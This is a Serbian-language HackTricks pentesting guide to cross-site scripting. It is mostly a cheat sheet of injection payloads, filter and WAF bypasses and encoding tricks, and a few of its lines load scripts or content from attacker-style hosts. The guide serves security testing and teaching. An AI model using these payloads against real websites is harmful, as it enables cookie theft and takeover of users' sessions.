hacktricks/pentesting-web/xss-cross-site-scripting/README.md

72 KiB
Raw Blame History

XSS (Cross Site Scripting)

Ako ste zainteresovani za hakersku karijeru i hakovanje onoga što se ne može hakovati - zapošljavamo! (potrebno je tečno poznavanje poljskog jezika, kako u pismenom, tako i u govornom obliku).

{% embed url="https://www.stmcyber.com/careers" %}

Metodologija

  1. Proverite da li se bilo koja vrednost kojom upravljate (parametri, putanja, zaglavlja?, kolačići?) reflektuje u HTML-u ili se koristi od strane JS koda.
  2. Pronađite kontekst gde se reflektuje/koristi.
  3. Ako je reflektovano
  4. Proverite koje simbole možete koristiti i u zavisnosti od toga pripremite payload:
  5. U čistom HTML-u:
  6. Možete li kreirati nove HTML oznake?
  7. Možete li koristiti događaje ili atribute koji podržavaju javascript: protokol?
  8. Možete li zaobići zaštitu?
  9. Da li se HTML sadržaj interpretira od strane bilo kog klijentskog JS motora (AngularJS, VueJS, Mavo...), možete zloupotrebiti Ubacivanje klijentskih šablona na strani klijenta.
  10. Ako ne možete kreirati HTML oznake koje izvršavaju JS kod, možete li zloupotrebiti Dangling Markup - HTML ubacivanje bez skripti?
  11. Unutar HTML oznake:
  12. Možete li izaći u čisti HTML kontekst?
  13. Možete li kreirati nove događaje/ atribute da izvršite JS kod?
  14. Da li atribut u kojem ste zarobljeni podržava izvršenje JS koda?
  15. Možete li zaobići zaštitu?
  16. Unutar JavaScript koda:
  17. Možete li izbeći <script> oznaku?
  18. Možete li izbeći string i izvršiti drugačiji JS kod?
  19. Da li su vaši unosi u šablonima literala ``?
  20. Možete li zaobići zaštitu?
  21. JavaScript funkcija koja se izvršava
  22. Možete naznačiti ime funkcije za izvršenje. npr.: ?callback=alert(1)
  23. Ako je korišćeno:
  24. Možete iskoristiti DOM XSS, obratite pažnju kako se kontroliše vaš unos i da li vaš kontrolisani unos koristi neki otok.

Kada radite na složenom XSS-u, možda će vam biti zanimljivo znati o:

{% content-ref url="debugging-client-side-js.md" %} debugging-client-side-js.md {% endcontent-ref %}

Reflektovane vrednosti

Da biste uspešno iskoristili XSS, prvo što trebate pronaći je vrednost kojom upravljate, a koja se reflektuje na veb stranici.

  • Srednje reflektovano: Ako otkrijete da se vrednost parametra ili čak putanje reflektuje na veb stranici, možete iskoristiti Reflektovani XSS.
  • Smešteno i reflektovano: Ako otkrijete da je vrednost kojom upravljate sačuvana na serveru i reflektuje se svaki put kada pristupite stranici, možete iskoristiti Smešteni XSS.
  • Pristupano putem JS-a: Ako otkrijete da se vrednost kojom upravljate pristupa korišćenjem JS-a, možete iskoristiti DOM XSS.

Konteksti

Kada pokušavate iskoristiti XSS, prvo što trebate znati je gde se reflektuje vaš unos. Zavisno od konteksta, moći ćete izvršiti proizvoljan JS kod na različite načine.

Čisti HTML

Ako se vaš unos reflektuje na čistom HTML-u stranice, moraćete zloupotrebiti neku HTML oznaku kako biste izvršili JS kod: <img , <iframe , <svg , <script ... ovo su samo neke od mnogih mogućih HTML oznaka koje možete koristiti.
Takođe, imajte na umu Ubacivanje klijentskih šablona na strani klijenta.

Unutar atributa HTML oznaka

Ako se vaš unos reflektuje unutar vrednosti atributa oznake, možete pokušati:

  1. Da izađete iz atributa i iz oznake (tada ćete biti u čistom HTML-u) i kreirate novu HTML oznaku za zloupotrebu: "><img [...]
  2. Ako možete izaći iz atributa ali ne i iz oznake (> je enkodiran ili obrisan), zavisno od oznake možete kreirati događaj koji izvršava JS kod: " autofocus onfocus=alert(1) x="
  3. Ako ne možete izaći iz atributa (" je enkodiran ili obrisan), onda zavisno od kojeg atributa se reflektuje vaša vrednost i da li kontrolišete celu vrednost ili samo deo, moći ćete je zloupotrebiti. Na primer, ako kontrolišete događaj poput onclick=, moći ćete ga naterati da izvrši proizvoljan kod kada se klikne. Još jedan zanimljiv primer je atribut href, gde možete koristiti javascript: protokol za izvršavanje proizvoljnog koda: href="javascript:alert(1)"
  4. Ako se vaš unos reflektuje unutar "neiskorišćenih oznaka" možete pokušati trik sa accesskey da iskoristite ranjivost (trebaće vam neka vrsta socijalnog inženjeringa da biste iskoristili ovo): " accesskey="x" onclick="alert(1)" x="

Unutar JavaScript koda

U ovom slučaju, vaš unos se reflektuje između <script> [...] </script> oznaka HTML stranice, unutar .js datoteke ili unutar atributa korišćenjem javascript: protokola:

  • Ako se reflektuje između <script> [...] </script> oznaka, čak i ako je vaš unos unutar bilo kakvih navodnika, možete pokušati da ubacite </script> i izađete iz ovog konteksta. Ovo funkcioniše jer će pregledač prvo analizirati HTML oznake a zatim sadržaj, stoga neće primetiti da je vaš ubačeni </script> tag unutar HTML koda.
  • Ako se reflektuje unutar JS stringa i prethodni trik ne funkcioniše, moraćete izaći iz stringa, izvršiti svoj kod i rekonstruisati JS kod (ako postoji greška, neće biti izvršena):
  • '-alert(1)-'
  • ';-alert(1)//
  • \';alert(1)//
  • Ako se reflektuje unutar šablona literala možete ugraditi JS izraze koristeći sintaksu ${ ... }: var greetings = `Hello, ${alert(1)}`
  • Unicode enkodiranje radi za pisanje validnog javascript koda:
\u{61}lert(1)
\u0061lert(1)
\u{0061}lert(1)

Podizanje JavaScript-a

Podizanje JavaScript-a se odnosi na mogućnost deklarisanja funkcija, promenljivih ili klasa nakon što su korišćene, tako da možete iskoristiti situacije gde XSS koristi nedeklarisane promenljive ili funkcije.
Proverite sledeću stranicu za više informacija:

{% content-ref url="js-hoisting.md" %} js-hoisting.md {% endcontent-ref %}

JavaScript Funkcija

Nekoliko web stranica ima endpointove koji prihvataju ime funkcije za izvršavanje. Čest primer koji se može videti je nešto poput: ?callback=callbackFunc.

Dobar način da saznate da li nešto što je direktno dato od strane korisnika pokušava da se izvrši je menjanje vrednosti parametra (na primer u 'Vulnerable') i traženje grešaka u konzoli kao što je:

U slučaju da je ranjiv, možete pokrenuti upozorenje samo slanjem vrednosti: ?callback=alert(1). Međutim, vrlo je često da će ovi endpointovi validirati sadržaj da dozvole samo slova, brojeve, tačke i donje crte ([\w\._]).

Međutim, čak i sa tom ograničenjem, još uvek je moguće izvršiti neke akcije. To je zato što možete koristiti te validne karaktere da pristupite bilo kom elementu u DOM-u:

Neke korisne funkcije za ovo:

firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement

Možete takođe pokušati da pokrenete JavaScript funkcije direktno: obj.sales.delOrders.

Međutim, obično su endpointi koji izvršavaju navedenu funkciju endpointi bez mnogo zanimljivog DOM-a, druge stranice na istom izvoru će imati zanimljiviji DOM za obavljanje više akcija.

Stoga, kako bi se zloupotrijebila ova ranjivost u drugom DOM-u, razvijena je eksploatacija Same Origin Method Execution (SOME):

{% content-ref url="some-same-origin-method-execution.md" %} some-same-origin-method-execution.md {% endcontent-ref %}

DOM

Postoji JS kod koji nesigurno koristi neke podatke kontrolisane od strane napadača poput location.href. Napadač bi mogao iskoristiti ovo da izvrši proizvoljan JS kod.

{% content-ref url="dom-xss.md" %} dom-xss.md {% endcontent-ref %}

Universal XSS

Ovakav tip XSS-a može se pronaći bilo gde. Ne zavise samo o eksploataciji klijenta web aplikacije već o bilo kom kontekstu. Ovakva vrsta proizvoljne JavaScript eksploatacije može čak biti zloupotrebljena za dobijanje RCE, čitanje proizvoljnih fajlova na klijentima i serverima, i više.
Neki primeri:

{% content-ref url="server-side-xss-dynamic-pdf.md" %} server-side-xss-dynamic-pdf.md {% endcontent-ref %}

{% content-ref url="../../network-services-pentesting/pentesting-web/electron-desktop-apps/" %} electron-desktop-apps {% endcontent-ref %}

WAF zaobilaženje kodiranja slike

sa https://twitter.com/hackerscrolls/status/1273254212546281473?s=21

Ubacivanje unutar sirovog HTML-a

Kada se vaš unos reflektuje unutar HTML stranice ili možete da izbegnete i ubacite HTML kod u ovom kontekstu, prva stvar koju treba da uradite je da proverite da li možete zloupotrebiti < da biste kreirali nove oznake: Samo pokušajte da reflektujete taj karakter i proverite da li je HTML enkodiran ili obrisan ili ako je reflektovan bez promena. Samo u poslednjem slučaju moći ćete iskoristiti ovaj slučaj.
Za ove slučajeve takođe imajte na umu Client Side Template Injection.
Napomena: HTML komentar se može zatvoriti koristeći** --> ili ****--!>**

U ovom slučaju, ako se ne koristi crna/bela lista, možete koristiti payload-ove poput:

<script>alert(1)</script>
<img src=x onerror=alert(1) />
<svg onload=alert('XSS')>

Međutim, ako se koristi crna/bela lista oznaka/atributa, moraćete bruteforce-ovati koje oznake možete kreirati.
Kada ste pronašli koje su oznake dozvoljene, moraćete bruteforce-ovati atribute/događaje unutar pronađenih validnih oznaka da biste videli kako možete napasti kontekst.

Bruteforce oznaka/događaja

Idite na https://portswigger.net/web-security/cross-site-scripting/cheat-sheet i kliknite na Kopiraj oznake u međuspremnik. Zatim, pošaljite sve njih koristeći Burp intruder i proverite da li su neke oznake otkrivene kao zlonamerne od strane WAF-a. Kada otkrijete koje oznake možete koristiti, možete bruteforce-ovati sve događaje koristeći validne oznake (na istoj veb stranici kliknite na Kopiraj događaje u međuspremnik i pratite isti postupak kao pre).

Prilagođene oznake

Ako niste pronašli nijednu validnu HTML oznaku, možete pokušati da kreirate prilagođenu oznaku i izvršite JS kod sa atributom onfocus. U XSS zahtevu, morate završiti URL sa # da biste naveli stranicu da se fokusira na taj objekat i izvrši kod:

/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x

Bypassovanje crne liste

Ako se koristi neka vrsta crne liste, možete pokušati da je zaobiđete nekim smešnim trikovima:

//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG

//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>

//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09

//Unexpected parent tags
<svg><x><script>alert('1'&#41</x>

//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script      ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>

//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //

//Extra open
<<script>alert("XSS");//<</script>

//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">

//Using `` instead of parenthesis
onerror=alert`1`

//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //

Bypass dužine (mali XSS-ovi)

{% hint style="info" %} Više malih XSS-ova za različite okoline payload može se pronaći ovde i ovde. {% endhint %}

<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``>
<script src=//aa.es>
<script src=//℡㏛.pw>

Poslednji način je korišćenje 2 Unicode karaktera koji se proširuju na 5: telsr
Više ovakvih karaktera možete pronaći ovde.
Da biste proverili u koje karaktere su dekomponovani, proverite ovde.

Klikni XSS - Clickjacking

Ako za iskorišćavanje ranjivosti treba korisnik da klikne na link ili formu sa unapred popunjenim podacima, možete pokušati da zloupotrebite Clickjacking (ako je stranica ranjiva).

Nemoguće - Dangling Markup

Ako smatrate da je nemoguće kreirati HTML tag sa atributom za izvršavanje JS koda, trebalo bi da proverite Danglig Markup jer biste mogli iskoristiti ranjivost bez izvršavanja JS koda.

Ubacivanje unutar HTML taga

Unutar taga/izlazak iz vrednosti atributa

Ako ste unutar HTML taga, prva stvar koju možete pokušati je da izađete iz taga i koristite neke od tehnika navedenih u prethodnom odeljku za izvršavanje JS koda.
Ako ne možete izaći iz taga, možete kreirati nove atribute unutar taga kako biste pokušali izvršiti JS kod, na primer koristeći neki payload kao (napomena da u ovom primeru su dvostruki navodnici korišćeni za izlazak iz atributa, nećete ih trebati ako se vaš unos odražava direktno unutar taga):

" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t

Stil događaja

<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>

#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>

Unutar atributa

Čak i ako ne možete pobeći iz atributa (" se enkodira ili briše), zavisno o kojem atributu se vaša vrednost reflektuje, da li kontrolišete celu vrednost ili samo deo, moći ćete da je zloupotrebite. Na primer, ako kontrolišete događaj poput onclick=, moći ćete da ga naterate da izvrši proizvoljan kod kada se klikne.
Još jedan interesantan primer je atribut href, gde možete koristiti javascript: protokol da izvršite proizvoljan kod: href="javascript:alert(1)"

Bypass unutar događaja korišćenjem HTML enkodiranja/URL enkodiranja

HTML enkodirani karakteri unutar vrednosti atributa HTML oznaka se dekodiraju pri izvršavanju. Stoga će nešto poput sledećeg biti validno (payload je podebljan): <a id="author" href="http://none" onclick="var tracker='http://foo?&apos;-alert(1)-&apos;';">Go Back </a>

Imajte na umu da je svaka vrsta HTML enkodiranja validna:

//HTML entities
&apos;-alert(1)-&apos;
//HTML hex without zeros
&#x27-alert(1)-&#x27
//HTML hex with zeros
&#x00027-alert(1)-&#x00027
//HTML dec without zeros
&#39-alert(1)-&#39
//HTML dec with zeros
&#00039-alert(1)-&#00039

<a href="javascript:var a='&apos;-alert(1)-&apos;'">a</a>
<a href="&#106;avascript:alert(2)">a</a>
<a href="jav&#x61script:alert(3)">a</a>

Imajte na umu da će raditi i URL enkodiranje:

<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>

Bypass unutrašnjeg događaja korišćenjem Unicode enkodiranja

//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />

Posebni protokoli unutar atributa

Ovde možete koristiti protokole javascript: ili data: na nekim mestima da izvršite proizvoljan JS kod. Neke će zahtevati interakciju korisnika, a neke neće.

javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript&colon;alert(1)
javascript&#x003A;alert(1)
javascript&#58;alert(1)
&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3aalert(1)
java        //Note the new line
script:alert(1)

data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==

Mesta gde možete ubaciti ove protokole

Uopšteno, javascript: protokol se može koristiti u bilo kom tagu koji prihvata atribut href i u većini tagova koji prihvataju atribut src (ali ne <img)

<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>

<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>

//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">

Drugi trikovi za prikrivanje

U ovom slučaju, trikovi enkodiranja HTML-a i Unicode enkodiranja iz prethodne sekcije takođe su validni jer se nalazite unutar atributa.

<a href="javascript:var a='&apos;-alert(1)-&apos;'">

Osim toga, postoji još jedan koristan trik za ove slučajeve: Čak i ako je vaš unos unutar javascript:... URL enkodiran, biće URL dekodiran pre nego što se izvrši. Dakle, ako trebate izbeći iz stringa koristeći jednostruki navodnik i primetite da je URL enkodiran, zapamtite da nije važno, biće interpretiran kao jednostruki navodnik tokom izvršavanja.

&apos;-alert(1)-&apos;
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>

Napomena da ako pokušate koristiti i URLencode + HTMLencode u bilo kom redosledu za enkodiranje payload-a, to neće raditi, ali možete ih mešati unutar payload-a.

Korišćenje heksadecimalnog i oktalnog enkodiranja sa javascript:

Možete koristiti heksadecimalno i oktalno enkodiranje unutar atributa src elementa iframe (barem) da biste deklarisali HTML oznake za izvršavanje JS:

//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />

//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />

Reverse tab nabbing

<a target="_blank" rel="opener"

Ako možete ubaciti bilo koji URL u proizvoljni <a href= tag koji sadrži atribute target="_blank" and rel="opener", proverite sledeću stranicu da biste iskoristili ovu funkcionalnost:

{% content-ref url="../reverse-tab-nabbing.md" %} reverse-tab-nabbing.md {% endcontent-ref %}

Bypass na događajne rukovaoca

Prvo proverite ovu stranicu (https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) za korisne "on" event handlere.
U slučaju da postoji neka crna lista koja sprečava kreiranje ovih event handlera, možete probati sledeće bypass-ove:

<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>

//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B

Sa ovde sada je moguće zloupotrebiti skrivene unose sa:

<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle=alert(1)>

I u meta tagovima:

<!-- Injection inside meta attribute-->
<meta name="apple-mobile-web-app-title" content=""Twitter popover id="newsletter" onbeforetoggle=alert(2) />
<!-- Existing target-->
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>

Od ovde: Možete izvršiti XSS payload unutar skrivenog atributa, pod uslovom da možete ubediti žrtvu da pritisne kombinaciju tastera. Na Firefox Windows/Linux kombinacija tastera je ALT+SHIFT+X, a na OS X je CTRL+ALT+X. Možete specificirati drugu kombinaciju tastera koristeći drugi taster u atributu pristupa. Evo vektora:

<input type="hidden" accesskey="X" onclick="alert(1)">

XSS payload će izgledati ovako: " accesskey="x" onclick="alert(1)" x="

Bypass-ovi crne liste

Već su otkrivene neke trikove korišćenjem različitih enkodiranja unutar ove sekcije. Vratite se da saznate gde možete koristiti:

  • HTML enkodiranje (HTML tagovi)
  • Unicode enkodiranje (može biti validan JS kod): \u0061lert(1)
  • URL enkodiranje
  • Heksadecimalno i oktalno enkodiranje
  • Data enkodiranje

Bypass-ovi za HTML tagove i atribute

Pročitajte Bypass-ove crne liste prethodne sekcije.

Bypass-ovi za JavaScript kod

Pročitajte JavaScript bypass crne liste u sledećoj sekciji.

CSS-Gadžeti

Ako pronađete XSS u veoma malom delu veba koji zahteva neku vrstu interakcije (možda mali link u podnožju sa onmouseover elementom), možete pokušati modifikovati prostor koji element zauzima da biste maksimizirali verovatnoću da će se link aktivirati.

Na primer, možete dodati neki stil u element poput: position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5

Međutim, ako WAF filtrira atribut stila, možete koristiti CSS Styling Gadžete, pa ako pronađete, na primer

.test {display:block; color: blue; width: 100%}

i

#someid {top: 0; font-family: Tahoma;}

Sada možete modifikovati naš link i dovesti ga u oblik

<a href="" id=someid class=test onclick=alert() a="">

Ovaj trik je preuzet sa https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703

Ubacivanje unutar JavaScript koda

U ovim slučajevima, vaš unos će biti reflektovan unutar JS koda .js fajla ili između <script>...</script> tagova ili između HTML događaja koji mogu izvršiti JS kod ili između atributa koji prihvataju javascript: protokol.

Bekstvo <script> taga

Ako je vaš kod ubačen unutar <script> [...] var input = 'reflektovani podaci' [...] </script> možete lako izbeći zatvaranje <script> taga:

</script><img src=1 onerror=alert(document.domain)>

Napomena da u ovom primeru čak nismo zatvorili jednostruki navodnik. To je zato što se HTML parsiranje prvo vrši od strane pregledača, što uključuje identifikaciju elemenata stranice, uključujući blokove skripti. Parsiranje JavaScript-a radi razumevanja i izvršavanja ugneždenih skripti se vrši tek nakon toga.

Unutar JS koda

Ako se <> saniraju, još uvek možete izbeći string gde se vaš unos nalazi i izvršiti proizvoljni JS. Važno je popraviti JS sintaksu, jer ako postoje greške, JS kod neće biti izvršen:

'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//

Šablonski literali ``

Da biste konstruisali stringove osim jednostrukih i dvostrukih navodnika, JS takođe prihvata backticks ``. Ovo je poznato kao šablonski literali jer omogućavaju da se ugrađuju JS izrazi koristeći sintaksu ${ ... }.
Stoga, ako primetite da se vaš unos reflektuje unutar JS stringa koji koristi backticks, možete zloupotrebiti sintaksu ${ ... } da biste izvršili proizvoljan JS kod:

Ovo se može zloupotrebiti korišćenjem:

`${alert(1)}`
`${`${`${`${alert(1)}`}`}`}`
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop(){return loop}
loop``````````````

Izvršenje enkodiranog koda

<script>\u0061lert(1)</script>
<svg><script>alert&lpar;'1'&rpar;
<svg><script>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</script></svg>  <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</iframe>">

Unicode enkodiranje JS izvršavanja

\u{61}lert(1)
\u0061lert(1)
\u{0061}lert(1)

Tehnike za zaobilaženje crnih lista JavaScript-a

Niske

"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
"\h\e\l\l\o"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
"\a\l\ert\(1\)"
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))

Posebni escape-ovi

'\b' //backspace
'\f' //form feed
'\n' //new line
'\r' //carriage return
'\t' //tab
'\b' //backspace
'\f' //form feed
'\n' //new line
'\r' //carriage return
'\t' //tab
// Any other char escaped is just itself

Zamene razmaka unutar JS koda

<TAB>
/**/

JavaScript komentari (iz trika JavaScript komentari)

//This is a 1 line comment
/* This is a multiline comment*/
<!--This is a 1line comment
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line

JavaScript nove linije (iz trika JavaScript nove linije)

//Javascript interpret as new line these chars:
String.fromCharCode(10); alert('//\nalert(1)') //0x0a
String.fromCharCode(13); alert('//\ralert(1)') //0x0d
String.fromCharCode(8232); alert('//\u2028alert(1)') //0xe2 0x80 0xa8
String.fromCharCode(8233); alert('//\u2029alert(1)') //0xe2 0x80 0xa9

JavaScript razmaci

log=[];
function funct(){}
for(let i=0;i<=0x10ffff;i++){
try{
eval(`funct${String.fromCodePoint(i)}()`);
log.push(i);
}
catch(e){}
}
console.log(log)
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279

//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert&#65279;(1)>

Javascript unutar komentara

//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send

//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com

JavaScript bez zagrada

// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
// or any DOMXSS sink such as location=name

// Backtips
// Backtips pass the string as an array of lenght 1
alert`1`

// Backtips + Tagged Templates + call/apply
eval`alert\x281\x29` // This won't work as it will just return the passed array
setTimeout`alert\x281\x29`
eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x281\x29`]}`
[].sort.call`${alert}1337`
[].map.call`${eval}\\u{61}lert\x281337\x29`

// To pass several arguments you can use
function btt(){
console.log(arguments);
}
btt`${'arg1'}${'arg2'}${'arg3'}`

//It's possible to construct a function and call it
Function`x${'alert(1337)'}x```

// .replace can use regexes and call a function if something is found
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
"a".replace.call`1${/./}${alert}`
// This happened in the previous example
// Change "this" value of call to "1,"
// match anything with regex /./
// call alert with "1"
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead

// Using Reflect.apply to call any function with any argumnets
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
// Using Reflect.set to call set any value to a variable
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.



// valueOf, toString
// These operations are called when the object is used as a primitive
// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''
toString=alert;window+''


// Error handler
window.onerror=eval;throw"=alert\x281\x29";
onerror=eval;throw"=alert\x281\x29";
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
{onerror=eval}throw"=alert(1)" //No ";"
onerror=alert //No ";" using new line
throw 1337
// Error handler + Special unicode separators
eval("onerror=\u2028alert\u2029throw 1337");
// Error handler + Comma separator
// The comma separator goes through the list and returns only the last element
var a = (1,2,3,4,5,6) // a = 6
throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
throw onerror=alert,1,1,1,1,1,1337
// optional exception variables inside a catch clause.
try{throw onerror=alert}catch{throw 1}


// Has instance symbol
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.

Proizvoljan poziv funkcije (alert)

//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Function('ale'+'rt(10)')``;
[].constructor.constructor("alert(document.domain)")``
[]["constructor"]["constructor"]`$${alert()}```
import('data:text/javascript,alert(1)')

//General function executions
`` //Can be use as parenthesis
alert`document.cookie`
alert(document['cookie'])
with(document)alert(cookie)
(alert)(1)
(alert(1))in"."
a=alert,a(1)
[1].find(alert)
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
top[/al/.source+/ert/.source](1)
top[8680439..toString(30)](1)
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
